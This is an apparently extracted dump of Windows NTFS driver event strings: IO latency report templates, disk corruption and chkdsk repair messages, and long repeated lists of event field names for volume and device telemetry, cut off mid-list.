Most populated bin's maximum length: %40%n IO latency summary:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n Operation: %16%n Interval duration: %18%n Max Acceptable IO Latency: %20%n High Latency IOs: %21%n Total count: %22%n Avg OPS: %24%n Avg latency: %26%n Median latency is below: %29%n Max latency: %31%n Latency buckets: [%33]%n IO count buckets: [%34, %35, %36, %37, %38, %39, %40, %41, %42, %43, %44, %45, %46, %47, %48, %49]%n Total time buckets (ns): [%50, %51, %52, %53, %54, %55, %56, %57, %58, %59, %60, %61, %62, %63, %64, %65]%n Device Name: %5%n Vendor ID: %6%n Product ID: %7%n Product Revision: %8%n Device Serial Number: %9%n Bus Type: %10%n Device GUID: %11%n Device Number: %12%n Native NVMe: %13%n Adapter Serial Number: %14%nn For more information see the details tab. IO latency summary:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n Operation: %16%n Interval duration: %18%n Max Acceptable IO Latency: %20%n High Latency IOs: %21%n Total count: %22%n Total bytes: %66%n Avg OPS: %24%n Avg BPS: %67%n Avg latency: %26%n Median latency is below: %29%n Max latency: %31%n Latency buckets: [%33]%n IO count buckets: [%34, %35, %36, %37, %38, %39, %40, %41, %42, %43, %44, %45, %46, %47, %48, %49]%n Total time buckets (ns): [%50, %51, %52, %53, %54, %55, %56, %57, %58, %59, %60, %61, %62, %63, %64, %65]%n Total bytes buckets: [%68, %69, %70, %71, %72, %73, %74, %75, %76, %77, %78, %79, %80, %81, %82, %83]%n Device Name: %5%n Vendor ID: %6%n Product ID: %7%n Product Revision: %8%n Device Serial Number: %9%n Bus Type: %10%n Device GUID: %11%n Device Number: %12%n Native NVMe: %13%n Adapter Serial Number: %14%n For more information see the details tab. IO latency summary:%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n Operation: %16%n Interval duration: %18%n Max Acceptable IO Latency: %20%n High Latency IOs: %21%n Total count: %22%n Total bytes: %66%n Total extents: %84%n Avg OPS: %24%n Avg BPS: %67%n Avg latency: %26%n Median latency is below: %29%n Max latency: %31%n Latency buckets: [%33]%n IO count buckets: [%34, %35, %36, %37, %38, %49, %40, %41, %42, %43, %44, %45, %46, %47, %48, %49]%n Total time buckets (ns): [%50, %51, %52, %53, %54, %55, %56, %57, %58, %59, %60, %61, %62, %63, %64, %65]%n Total bytes buckets: [%68, %69, %70, %71, %72, %73, %74, %75, %76, %77, %78, %79, %80, %81, %82, %83]%n Device Name: %5%n Vendor ID: %6%n Product ID: %7%n Product Revision: %8%n Device Serial Number: %9%n Bus Type: %10%n Device GUID: %11%n Device Number: %12%n Native NVMe: %13%n Adapter Serial Number: %14%n For more information see the details tab. The file system structure on the disk is corrupt and unusable. Please run the chkdsk utility on the device %1 with label "%2". The user disk quota information is unusable. To ensure accuracy, the file system quota information on the device %1 with label "%2" will be rebuilt. The file system structure on the disk is corrupt and unusable. Please run the chkdsk utility on the volume %2. The transaction resource manager on volume %2 was unable to create free space in its log due to a non-retryable error. The data contains the error code. The default transaction resource manager on volume %2 encountered a non-retryable error and could not start. The data contains the error code. The transaction resource manager at %2%3 encountered a fatal error and was shut down. The data contains the error code. is healthy. No action is needed. requires an Online Scan. An Online Scan will automatically run as part of the next scheduled maintenance task. Alternatively you may run "CHKDSK /SCAN" locally via the command line, or run "REPAIR-VOLUME -SCAN" locally or remotely via PowerShell. needs to be taken offline for a short time to perform a Spot Fix. Please run "CHKDSK /SPOTFIX" locally via the command line, or run "REPAIR-VOLUME " locally or remotely via PowerShell. needs to be taken offline to perform a Full Chkdsk. Please run "CHKDSK /F" locally via the command line, or run "REPAIR-VOLUME " locally or remotely via PowerShell. LogSpace DirtyPages OpenAttributes TransactionDrain FastIOCallback DeallocatedClusters DeallocatedClustersMem RecordStackCheck Dismount Compression Snapshot Mount Shutdown RecursiveCompression Testing PostRequest Checkpoint DelayClose MarkUnusedContextCompletion HotFix DiskFlushCompletion McbCleanup UsnTimeOut Repair TxfRmDelayedWorkItem TxfRmCriticalWorkItem TxfRmRestartWorkItem TxfThawRmsWorker ScavengeDeleteUsn ScavengeRepairObjectId ScavengeRepairQuotaIndex ScavengeMarkUserLimit ScavengeResolveVolumeAndLogEvent Write: NonPaging, NonCached, Async Write: NonPaging, NonCached, Sync Write: NonPaging, NonCached, Async, Writethrough Write: NonPaging, NonCached, Sync, Writethrough Write: NonPaging, Cached, Async Write: NonPaging, Cached, Sync Write: NonPaging, Cached, Async, Writethrough Write: NonPaging, Cached, Sync, Writethrough Write: Paging, NonCached, Async Write: Paging, NonCached, Sync Write: Paging, NonCached, Async, Writethrough Write: Paging, NonCached, Sync, Writethrough Read: NonPaging, NonCached, Async Read: NonPaging, NonCached, Sync Read: NonPaging, Cached, Async Read: NonPaging, Cached, Sync Read: Paging, NonCached, Async Read: Paging, NonCached, Sync create create named pipe close read write query information set information query EA set EA flush buffers query volume information set volume information directory control file system control device control internal device control shutdown lock control cleanup create mail slot query security set security power system control device change query quota set quota plug and play SCSI ATAPI 1394 Fibre RAID iSCSI SATA Virtual File backed virtual Spaces NVMe Unknown Internal attribute stream was deleted Stream was purged Configuration changed Extend Shrink Extend Prepare Shrink Abort Unknown File size exceeds the maximum allowed by a volume File size exceeds a system limit A file record could not be split Bitmap size exceeds a system limit USN journal size exceeds a system limit false true Unknown File create Last modification time Last change time Last access time Allocation size File size File attributes File EA size Mismatch info found Unspecified Hard disk Storage class memory Mount Reload requested because of an exception or configuration change Could not extend Mft without fragmenting it Previously reduced Mft zone is now being expanded Change in volume size New cluster alignment was initialized Proactive background scan to repopulate cached runs System EventData Data Name DriveName Data Name DeviceName Data Name CorruptionState Data Name HeaderFlags Data Name Severity Data Name Origin Data Name Verb Data Name Description Data Name Signature Data Name Outcome Data Name SampleLength Data Name SampleData Data Name SourceFile Data Name SourceLine Data Name SourceTag Data Name AdditionalInfo Data Name CallStack DriveName DeviceName CorruptionState HeaderFlags Severity Origin Verb Description Signature Outcome SampleLength SampleData SourceFile SourceLine SourceTag AdditionalInfo CallStack EventData Data Name VolumeIdLength Data Name VolumeId Data Name RepairDetail Data Name RepairDataLength Data Name RepairData VolumeIdLength VolumeId RepairDetail RepairDataLength RepairData EventData Data Name Total Count Data Name BadFrs Count Data Name OrphanChildFRS Count Data Name BadClusters Count Data Name BadFreeClusters Count Data Name CrossLink Count Data Name SDEntry Count Data Name InvalidSid Count Data Name IndexAttribute Count Data Name IndexSubtree Count Data Name IndexOffset Count Data Name IndexEntry Count Data Name IndexOrder Count Data Name Connect Count Data Name BreakCycle Count Data Name FRSAllocate Count Data Name Others Count Total Count BadFrs Count OrphanChildFRS Count BadClusters Count BadFreeClusters Count CrossLink Count SDEntry Count InvalidSid Count IndexAttribute Count IndexSubtree Count IndexOffset Count IndexEntry Count IndexOrder Count Connect Count BreakCycle Count FRSAllocate Count Others Count Ntfs win:Error win:Warning win:Informational System Microsoft-Windows-Ntfs/Operational Microsoft-Windows-Ntfs/WHC Microsoft-Windows-Ntfs/Performance BusType DupInfoUpdateReason FileSystemLimitationReason IoType IrpMajorFunction LogFileFullReason MediaType ScanBitmapReason TriState VolumeCorruptionActionState VolumeSizeChangeOperation VolumeSizeChangeRequestType map_EX_RESOURCE_NAME map_PAGE_UNLOCK_REASON map_WIR EventData Data Name DriveName Data Name DeviceName Data Name CorruptionActionState DriveName DeviceName CorruptionActionState EventData Data Name hc_stateid hc_stateid EventData Data Name DriveName Data Name DeviceName Data Name FragmentationLevel DriveName DeviceName FragmentationLevel EventData Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Data Name ProcessNameLength Data Name ProcessName Data Name IsBootVolume Data Name FreeSpaceInBytes Data Name TotalReservedSpaceInBytes Data Name !TotalAbortReservationSpaceInBytes Data Name RequestedSpaceInBytes Data Name PageFileSize Data Name SourceTag VolumeGuid VolumeNameLength VolumeName ProcessNameLength ProcessName IsBootVolume FreeSpaceInBytes TotalReservedSpaceInBytes TotalAbortReservationSpaceInBytes RequestedSpaceInBytes PageFileSize SourceTag EventData Data Name TimeoutSeconds Data Name OwnerProcessNameLength Data Name OwnerProcessName Data Name BreakingProcessNameLength Data Name BreakingProcessName TimeoutSeconds OwnerProcessNameLength OwnerProcessName BreakingProcessNameLength BreakingProcessName EventData Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Data Name LowestFreeSpaceInBytes Data Name HighestFreeSpaceInBytes Data Name IsBootVolume VolumeGuid VolumeNameLength VolumeName LowestFreeSpaceInBytes HighestFreeSpaceInBytes IsBootVolume EventData Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name ElapsedSeconds Data Name AvailabeSpaceMinStr Data Name AvailabeSpaceMaxStr Data Name AvailabeSpaceDeltaStr Data Name AvailableClustersMin Data Name AvailableClustersMax Data Name UnallocatedClustersMin Data Name UnallocatedClustersMax Data Name ReservedClustersMin Data Name ReservedClustersMax Data Name TxfAbortReservedClustersMin Data Name TxfAbortReservedClustersMax Data Name PageFileSizeInBytes Data Name PageFileSizeStr Data Name VolumeSizeInBytes Data Name VolumeSizeStr Data Name ClusterSize VolumeGuid VolumeNameLength VolumeName IsBootVolume ElapsedSeconds AvailabeSpaceMinStr AvailabeSpaceMaxStr AvailabeSpaceDeltaStr AvailableClustersMin AvailableClustersMax UnallocatedClustersMin UnallocatedClustersMax ReservedClustersMin ReservedClustersMax TxfAbortReservedClustersMin TxfAbortReservedClustersMax PageFileSizeInBytes PageFileSizeStr VolumeSizeInBytes VolumeSizeStr ClusterSize EventData Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name ElapsedSeconds Data Name AvailabeSpaceMinStr Data Name AvailabeSpaceMaxStr Data Name AvailabeSpaceDeltaStr Data Name AvailableClustersMin Data Name AvailableClustersMax Data Name UnallocatedClustersMin Data Name UnallocatedClustersMax Data Name ReservedClustersMin Data Name ReservedClustersMax Data Name TxfAbortReservedClustersMin Data Name TxfAbortReservedClustersMax Data Name PageFileSizeInBytes Data Name PageFileSizeStr Data Name VolumeSizeInBytes Data Name VolumeSizeStr Data Name ClusterSize Data Name SlabSizeInClusters Data Name SlabSizeStr Data Name SlabsInUse Data Name TotalSlabsCount Data Name MapFailureCount VolumeGuid VolumeNameLength VolumeName IsBootVolume ElapsedSeconds AvailabeSpaceMinStr AvailabeSpaceMaxStr AvailabeSpaceDeltaStr AvailableClustersMin AvailableClustersMax UnallocatedClustersMin UnallocatedClustersMax ReservedClustersMin ReservedClustersMax TxfAbortReservedClustersMin TxfAbortReservedClustersMax PageFileSizeInBytes PageFileSizeStr VolumeSizeInBytes VolumeSizeStr ClusterSize SlabSizeInClusters SlabSizeStr SlabsInUse TotalSlabsCount MapFailureCount EventData Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name ElapsedSeconds Data Name AvailabeSpaceMinStr Data Name AvailabeSpaceMaxStr Data Name AvailabeSpaceDeltaStr Data Name AvailableClustersMin Data Name AvailableClustersMax Data Name UnallocatedClustersMin Data Name UnallocatedClustersMax Data Name ReservedClustersMin Data Name ReservedClustersMax Data Name TxfAbortReservedClustersMin Data Name TxfAbortReservedClustersMax Data Name PageFileSizeInBytes Data Name PageFileSizeStr Data Name VolumeSizeInBytes Data Name VolumeSizeStr Data Name ClusterSize Data Name CachedRunsMissCountForMft Data Name CachedRunsMissCountForMftZone Data Name CachedRunsMissCount VolumeGuid VolumeNameLength VolumeName IsBootVolume ElapsedSeconds AvailabeSpaceMinStr AvailabeSpaceMaxStr AvailabeSpaceDeltaStr AvailableClustersMin AvailableClustersMax UnallocatedClustersMin UnallocatedClustersMax ReservedClustersMin ReservedClustersMax TxfAbortReservedClustersMin TxfAbortReservedClustersMax PageFileSizeInBytes PageFileSizeStr VolumeSizeInBytes VolumeSizeStr ClusterSize CachedRunsMissCountForMft CachedRunsMissCountForMftZone CachedRunsMissCount EventData Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name ElapsedSeconds Data Name AvailabeSpaceMinStr Data Name AvailabeSpaceMaxStr Data Name AvailabeSpaceDeltaStr Data Name AvailableClustersMin Data Name AvailableClustersMax Data Name UnallocatedClustersMin Data Name UnallocatedClustersMax Data Name ReservedClustersMin Data Name ReservedClustersMax Data Name TxfAbortReservedClustersMin Data Name TxfAbortReservedClustersMax Data Name PageFileSizeInBytes Data Name PageFileSizeStr Data Name VolumeSizeInBytes Data Name VolumeSizeStr Data Name ClusterSize Data Name SlabSizeInClusters Data Name SlabSizeStr Data Name SlabsInUse Data Name TotalSlabsCount Data Name MapFailureCount Data Name CachedRunsMissCountForMft Data Name CachedRunsMissCountForMftZone Data Name CachedRunsMissCount VolumeGuid VolumeNameLength VolumeName IsBootVolume ElapsedSeconds AvailabeSpaceMinStr AvailabeSpaceMaxStr AvailabeSpaceDeltaStr AvailableClustersMin AvailableClustersMax UnallocatedClustersMin UnallocatedClustersMax ReservedClustersMin ReservedClustersMax TxfAbortReservedClustersMin TxfAbortReservedClustersMax PageFileSizeInBytes PageFileSizeStr VolumeSizeInBytes VolumeSizeStr ClusterSize SlabSizeInClusters SlabSizeStr SlabsInUse TotalSlabsCount MapFailureCount CachedRunsMissCountForMft CachedRunsMissCountForMftZone CachedRunsMissCount EventData Data Name VolumeGuid Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name BadFileOffset Data Name BadLcn Data Name ClustersCount Data Name FailureStatus VolumeGuid VolumeNameLength VolumeName IsBootVolume ProcessId ProcessName FileNameLength FileName BadFileOffset BadLcn ClustersCount FailureStatus EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name IoType Data Name IoSize Data Name FileOffset Data Name StartingLcn Data Name ClustersCount Data Name FailureStatus Data Name LatencyMs Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume ProcessId ProcessName FileNameLength FileName IoType IoSize FileOffset StartingLcn ClustersCount FailureStatus LatencyMs DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name FileIdHigh Data Name FileIdLow Data Name IoType Data Name IoSize Data Name FileOffset Data Name StartingLcn Data Name ClustersCount Data Name FailureStatus Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume ProcessId ProcessName FileNameLength FileName FileIdHigh FileIdLow IoType IoSize FileOffset StartingLcn ClustersCount FailureStatus DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name FileIdHigh Data Name FileIdLow Data Name IoType Data Name IoSize Data Name FileOffset Data Name StartingLcn Data Name ClustersCount Data Name FailureStatus Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume ProcessId ProcessName FileNameLength FileName FileIdHigh FileIdLow IoType IoSize FileOffset StartingLcn ClustersCount FailureStatus DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name SecondsElapsed Data Name HighLatencyCount Data Name FailedWriteCount Data Name FailedReadCount Data Name BadClusterHotfixCount Data Name ValuesCount Data Name HighLatencyArray Data Name FailedWriteArray Data Name FailedReadArray Data Name BadClusterHotfixArray Data Name StatusArray Data Name TableIndexArray VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber SecondsElapsed HighLatencyCount FailedWriteCount FailedReadCount BadClusterHotfixCount ValuesCount HighLatencyArray FailedWriteArray FailedReadArray BadClusterHotfixArray StatusArray TableIndexArray EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name SecondsElapsed Data Name HighLatencyCount Data Name FailedWriteCount Data Name FailedReadCount Data Name BadClusterHotfixCount Data Name ValuesCount Data Name HighLatencyArray Data Name FailedWriteArray Data Name FailedReadArray Data Name BadClusterHotfixArray Data Name StatusArray Data Name TableIndexArray VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber SecondsElapsed HighLatencyCount FailedWriteCount FailedReadCount BadClusterHotfixCount ValuesCount HighLatencyArray FailedWriteArray FailedReadArray BadClusterHotfixArray StatusArray TableIndexArray EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxLatencyMs Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name IoType Data Name IoSize Data Name FileOffset Data Name LatencyMs Data Name StartingLcn Data Name ClustersCount Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxLatencyMs ProcessId ProcessName FileNameLength FileName IoType IoSize FileOffset LatencyMs StartingLcn ClustersCount DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxLatencyMs Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name FileIdHigh Data Name FileIdLow Data Name IoType Data Name IoTypeStr Data Name IoSize Data Name FileOffset Data Name LatencyMs Data Name StartingLcn Data Name ClustersCount Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxLatencyMs ProcessId ProcessName FileNameLength FileName FileIdHigh FileIdLow IoType IoTypeStr IoSize FileOffset LatencyMs StartingLcn ClustersCount DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxLatencyMs Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name FileIdHigh Data Name FileIdLow Data Name IoType Data Name IoTypeStr Data Name IoSize Data Name FileOffset Data Name LatencyMs Data Name StartingLcn Data Name ClustersCount Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxLatencyMs ProcessId ProcessName FileNameLength FileName FileIdHigh FileIdLow IoType IoTypeStr IoSize FileOffset LatencyMs StartingLcn ClustersCount DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxLatencyMs Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name FileIdHigh Data Name FileIdLow Data Name IoType Data Name IoTypeStr Data Name LatencyMs Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxLatencyMs ProcessId ProcessName FileNameLength FileName FileIdHigh FileIdLow IoType IoTypeStr LatencyMs DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxLatencyMs Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name FileIdHigh Data Name FileIdLow Data Name IoType Data Name IoTypeStr Data Name LatencyMs Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxLatencyMs ProcessId ProcessName FileNameLength FileName FileIdHigh FileIdLow IoType IoTypeStr LatencyMs DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber EventData Data Name Version Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name TierIndex Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name MaxLatencyMs Data Name ReadWriteLatencyBucket1 Data Name ReadWriteLatencyBucket2 Data Name ReadWriteLatencyBucket3 Data Name ReadWriteLatencyBucket4 Data Name ReadWriteLatencyBucket5 Data Name ReadWriteLatencyBucket6 Data Name ReadWriteLatencyBucket7 Data Name TrimLatencyBucket1 Data Name TrimLatencyBucket2 Data Name TrimLatencyBucket3 Data Name TrimLatencyBucket4 Data Name TrimLatencyBucket5 Data Name TrimLatencyBucket6 Data Name TrimLatencyBucket7 Data Name FlushLatencyBucket1 Data Name FlushLatencyBucket2 Data Name FlushLatencyBucket3 Data Name FlushLatencyBucket4 Data Name FlushLatencyBucket5 Data Name FlushLatencyBucket6 Data Name FlushLatencyBucket7 Version VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume TierIndex DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber MaxLatencyMs ReadWriteLatencyBucket1 ReadWriteLatencyBucket2 ReadWriteLatencyBucket3 ReadWriteLatencyBucket4 ReadWriteLatencyBucket5 ReadWriteLatencyBucket6 ReadWriteLatencyBucket7 TrimLatencyBucket1 TrimLatencyBucket2 TrimLatencyBucket3 TrimLatencyBucket4 TrimLatencyBucket5 TrimLatencyBucket6 TrimLatencyBucket7 FlushLatencyBucket1 FlushLatencyBucket2 FlushLatencyBucket3 FlushLatencyBucket4 FlushLatencyBucket5 FlushLatencyBucket6 FlushLatencyBucket7 EventData Data Name Version Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name TierIndex Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name MaxLatencyMs Data Name ReadWriteLatencyBucket1 Data Name ReadWriteLatencyBucket2 Data Name ReadWriteLatencyBucket3 Data Name ReadWriteLatencyBucket4 Data Name ReadWriteLatencyBucket5 Data Name ReadWriteLatencyBucket6 Data Name ReadWriteLatencyBucket7 Data Name TrimLatencyBucket1 Data Name TrimLatencyBucket2 Data Name TrimLatencyBucket3 Data Name TrimLatencyBucket4 Data Name TrimLatencyBucket5 Data Name TrimLatencyBucket6 Data Name TrimLatencyBucket7 Data Name FlushLatencyBucket1 Data Name FlushLatencyBucket2 Data Name FlushLatencyBucket3 Data Name FlushLatencyBucket4 Data Name FlushLatencyBucket5 Data Name FlushLatencyBucket6 Data Name FlushLatencyBucket7 Data Name HighIoLatencyCount Data Name IntervalDurationUs Data Name NCReadIOCount Data Name NCReadTotalBytes Data Name NCReadAvgLatencyNs Data Name NCWriteIOCount Data Name NCWriteTotalBytes Data Name NCWriteAvgLatencyNs Data Name FileFlushCount Data Name FileFlushAvgLatencyNs Data Name DirectoryFlushCount Data Name DirectoryFlushAvgLatencyNs Data Name VolumeFlushCount Data Name VolumeFlushAvgLatencyNs Data Name FileLevelTrimCount Data Name FileLevelTrimTotalBytes Data Name FileLevelTrimExtentsCount Data Name FileLevelTrimAvgLatencyNs Data Name VolumeTrimCount Data Name VolumeTrimTotalBytes Data Name VolumeTrimExtentsCount Data Name VolumeTrimAvgLatencyNs Data Name IoBucketsCount Data Name TotalBytesBucketsCount Data Name ExtentsBucketsCount Data Name IoCount Data Name TotalLatencyUs Data Name TotalBytes Data Name TrimExtentsCount Data Name IoTypeIndex Data Name VcbExAcquireCount Data Name VcbExMaxWaitDurationMs Data Name VcbExAvgWaitDurationMs Data Name VcbExMaxHoldDurationMs Data Name VcbExAvgHoldDurationMs Data Name VcbExMaxCombinedDurationMs Data Name VcbExAvgCombinedDurationMs Version VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume TierIndex DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber MaxLatencyMs ReadWriteLatencyBucket1 ReadWriteLatencyBucket2 ReadWriteLatencyBucket3 ReadWriteLatencyBucket4 ReadWriteLatencyBucket5 ReadWriteLatencyBucket6 ReadWriteLatencyBucket7 TrimLatencyBucket1 TrimLatencyBucket2 TrimLatencyBucket3 TrimLatencyBucket4 TrimLatencyBucket5 TrimLatencyBucket6 TrimLatencyBucket7 FlushLatencyBucket1 FlushLatencyBucket2 FlushLatencyBucket3 FlushLatencyBucket4 FlushLatencyBucket5 FlushLatencyBucket6 FlushLatencyBucket7 HighIoLatencyCount IntervalDurationUs NCReadIOCount NCReadTotalBytes NCReadAvgLatencyNs NCWriteIOCount NCWriteTotalBytes NCWriteAvgLatencyNs FileFlushCount FileFlushAvgLatencyNs DirectoryFlushCount DirectoryFlushAvgLatencyNs VolumeFlushCount VolumeFlushAvgLatencyNs FileLevelTrimCount FileLevelTrimTotalBytes FileLevelTrimExtentsCount FileLevelTrimAvgLatencyNs VolumeTrimCount VolumeTrimTotalBytes VolumeTrimExtentsCount VolumeTrimAvgLatencyNs IoBucketsCount TotalBytesBucketsCount ExtentsBucketsCount IoCount TotalLatencyUs TotalBytes TrimExtentsCount IoTypeIndex VcbExAcquireCount VcbExMaxWaitDurationMs VcbExAvgWaitDurationMs VcbExMaxHoldDurationMs VcbExAvgHoldDurationMs VcbExMaxCombinedDurationMs VcbExAvgCombinedDurationMs EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data 